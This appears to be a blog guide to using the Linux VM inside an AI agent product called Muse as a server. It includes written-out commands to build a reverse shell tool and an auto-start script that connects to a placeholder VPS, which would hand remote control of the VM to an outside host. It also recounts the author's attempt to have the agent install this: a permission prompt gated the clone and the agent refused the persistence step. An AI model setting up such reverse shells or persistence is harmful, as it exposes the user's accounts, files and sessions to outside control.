Muse Hidden Perk: How to Use the Free 2-Core Linux VM as a Server

Muse assigns every account an independent Linux virtual machine. Many people ask me: Can this free cloud computer be used as a real cloud server (VPS)? Are the reverse shell tunneling tutorials circulating online reliable?

I conducted a full-process real-device test of Muse using native CDP automation tools. I recorded the entire process of hardware probing, unlocking network permissions, actual interception of reverse shells, and how to use it as a compliant cloud server for running scripts, writing this practical guide and pitfall avoidance manual.

1. Real-Device Test: Verifying the 2-Core 8G and 100G Disk Out-of-the-Box

Many people mistakenly believe that Muse is just a temporary conversation sandbox, but by executing native system detection in the terminal, you can clearly see the true physical parameters of this host machine.

I typed the following commands into the terminal:

1nproc
2free -h
3df -h
4uname -a
5whoami && pwd

Real terminal echo data:

1. CPU Specs: 2 cores (x86_64)
2. Memory Capacity: Total capacity 7.7 GiB, system base usage approx. 5.3 GiB, available memory approx. 2.5 GiB
3. Disk Mounts: Root partition allocated 7.5 GiB, while under the /home/hatch user home directory, a separate 100 GiB persistent disk (/dev/mapper/rv) is mounted
4. Operating System: Ubuntu 24.04.5 LTS (Noble Numbat), kernel version 7.0.0-generic
5. Execution Permissions: Runs as root by default in the /home/hatch directory

My testing revealed: Each registered user indeed has a complete independent environment with 2 cores / 8G / 100G Linux.

2. Basic Development Toolchain and Network Outbound Probing

To run your own background tools on this machine, you need to understand its built-in development tools and network restrictions.

Further probing results from my terminal:

• Pre-installed Tools: The system comes with git version 2.43.0 and curl 8.5.0 by default; basic networking and fetching tools are ready.
• Development Environment: Rust (rustc) is not pre-installed. If you need to compile Rust projects, you must install via official scripts or use pre-compiled binaries directly.
• Outbound Network Status: Testing curl -Is https://github.com shows HTTP 200; outbound traffic passes normally through the internal security proxy.
• Persistent Restart Directory: Confirmed with the system, the /home/hatch/pdata directory created under /home/hatch retains data after restarts, suitable for storing custom binary tools and business data.

3. Educational Demo: How the Recommended Reverse Tunneling Solution is Configured

Why do some people want to set up reverse connections? Because Muse runs in a cloud intranet sandbox, and external public networks cannot directly access this virtual machine via IP.

A common tunneling idea is: Use a reverse proxy tool (like marriedsh) to let Muse actively connect to an external public VPS, then take over the terminal Shell from the VPS.

The standard configuration steps for this solution are as follows:

1. External Public VPS Preparation

Compile and deploy the server-side on an independent VPS with a public IP:

1# 1. Clone and compile marriedsh
2git clone https://github.com/swigger/marriedsh.git
3cd marriedsh && cargo build --release
4sudo cp target/release/marriedsh /usr/local/bin/
5
6# 2. Configure server authentication ~/.config/marriedsh/config.toml
7mkdir -p ~/.config/marriedsh
8cat << 'EOF' > ~/.config/marriedsh/config.toml
9[server]
10bind = "0.0.0.0:8888"
11password = "your_secure_password"
12credential = "clark"
13EOF

2. Writing the Muse Client Auto-Start Script

Configure the auto-start script /home/hatch/init.sh in the Muse terminal to automatically establish a reverse channel to the VPS upon boot or task activation:

1mkdir -p /home/hatch/pdata/bin
2
3cat << 'EOF' > /home/hatch/init.sh
4#!/bin/bash
5# Muse VM background reverse daemon on startup
6/home/hatch/pdata/bin/marriedsh join --lock /run/msh.lock -p your_secure_password --credential clark YOUR_VPS_IP:8888 > /home/hatch/pdata/msh.log 2>&1 &
7EOF
8
9chmod +x /home/hatch/init.sh

3. Taking Over via VPS Console

Once the connection is established, run the command on the VPS side to get a remote Shell:

1marriedsh console -n clark

4. Real-Device Practice: Why Forcing a Reverse Shell Triggers Security Interception?

I actually ran the above steps in the real device terminal. The test results revealed two key facts:

1. Sentinel Single-Command Isolation Gate

When I asked Muse to execute git clone https://github.com/swigger/marriedsh.git, the Sentinel mechanism immediately popped up an interception:

Allow Muse to share information with github.com? [Allow once] [Always allow this site] [Deny]

Testing confirmed: Before the user explicitly clicks Allow, any operation attempting to communicate with unknown external domains will be suspended by the system.

2. Automatic Semantic Risk Control and Rejection Mechanism for Reverse Shells

After permissions were approved and the code was successfully cloned to /home/hatch/workspace/marriedsh, when the system prepared to write the auto-start persistence script, the underlying alignment model of Muse actively performed a security interception and gave a clear rejection statement:

"I won't execute this time. Two points clarified: First, what was just approved was only the git clone command, not writing an auto-start script—approval cannot be transferred to other steps. Second, marriedsh is a reverse shell: once installed and set to auto-start, an external server can execute arbitrary commands on this VM. And this machine has access to your memory files, connected accounts, and browser sessions. With the target IP and password being placeholders, I will not compile or run it."

My tests prove: Forcing a reverse shell is a dead end. It will not only be intercepted by the security model but also trigger risk control bans due to abnormal long-term external connections.

5. The True Core Lesson: How to Use This Machine as a Compliant VPS Without Tunnels?

Many people's thinking is limited to "You must connect via an SSH client to call it a server."

Through my testing, the correct way to use this virtual machine as a VPS is to turn it into an "All-Weather Data Processing and Automation Execution Hub":

1. Treat the Chat Box as a Super Terminal:

You don't need to open a separate black-box terminal. You can issue commands directly in the session, and it will call Python to run scripts, process data, and perform conversions in the background as root.

1. Build a Permanent Cloud Drive Using `/home/hatch/pdata`:

Put all your code, Python scripts, and cleaning results in the pdata directory. My tests verified that files on this 100G disk remain intact after logging in from another device or restarting.

1. Implement 24-Hour Non-Stop Daemon Using Scheduled Tasks:

Solve the pain point of "power off when web page closes": Through officially supported scheduled task plans, let it wake up automatically at fixed times daily, run batch processing in the background, and write audit logs (audit.log).

1. Output Visual Dashboards Using Artifacts:

A normal VPS can only show logs after running scripts, but Muse can directly process data into interactive Web App front-end dashboards.

6. Summary and Iron Rules for Avoiding Pitfalls

1. Hardware Bonus is Real: My tests found that Meta indeed provides each user with an independent environment of 2 cores / 8G / 100G SSD; the computing foundation is very solid.
2. Abandon Reverse Shells: Don't step into the trap of reverse proxies; they don't work and easily trigger risk control bans.
3. Compliance is Productivity: Make good use of /home/hatch/pdata persistent storage and Scheduled Task timing to run your own all-weather data processing pipeline at zero cost.

Big companies are still big companies. While it's unlikely you'll use it as a standard VPS, there are still many other ways to play... Next episode test: Zero-setup persistent directories, writing Python data cleaning scripts...